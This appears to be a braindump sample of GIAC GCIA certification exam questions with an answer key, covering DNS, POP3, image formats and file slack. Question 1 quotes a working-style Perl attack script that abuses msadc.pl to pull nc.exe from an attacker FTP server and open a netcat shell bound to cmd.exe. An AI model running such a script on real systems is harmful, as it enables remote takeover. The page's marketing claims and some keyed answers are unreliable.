GCIA Q&As

GIAC Certified Intrusion Analyst

Pass GIAC GCIA Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.leads4pass.com/gcia.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by GIAC Official Exam Center

QUESTION 1

Adam, a malicious hacker performs an exploit, which is given below:

######

$port = 53; # Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = \\'noone@nowhere.com\\';# password

######

$host = $ARGV[0]; print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system ("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\""); system

("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);

Which of the following is the expected result of the above exploit?

A. Opens up a SMTP server that requires no username or password

B. Creates a share called "sasfile" on the target system

C. Creates an FTP server with write permissions enabled

D. Opens up a telnet listener that requires no username or password

Correct Answer: D

QUESTION 2

Choose the proper transport protocol and port number used for Domain Name System. You should be concerned only with DNS lookups.

A. tcp, port 53

B. udp, port 53

C. tcp, port 67

D. udp, port 67

Correct Answer: B

QUESTION 3

What are the limitations of the POP3 protocol?

Each correct answer represents a complete solution. Choose three.

A. E-mails can be retrieved only from the Inbox folder of a mailbox. E-mails stored in any other folder are not accessible.

B. It is only a retrieval protocol. It is designed to work with other applications that provide the ability to send e-mails.

C. It does not support retrieval of encrypted e-mails.

D. It uses less memory space.

Correct Answer: ABC

QUESTION 4

Which of the following image file formats uses a lossy data compression technique?

A. GIF

B. JPG

C. PNG

D. TIF

Correct Answer: B

QUESTION 5

Which of the following statements is NOT true about the file slack spaces in Windows operating system?

A. File slack is the space, which exists between the end of the file and the end of the last clust er.

B. Large cluster size will decrease the volume of the file slack.

C. File slack may contain data from the memory of the system.

D. It is possible to find user names, passwords, and other important information in slack.

Correct Answer: B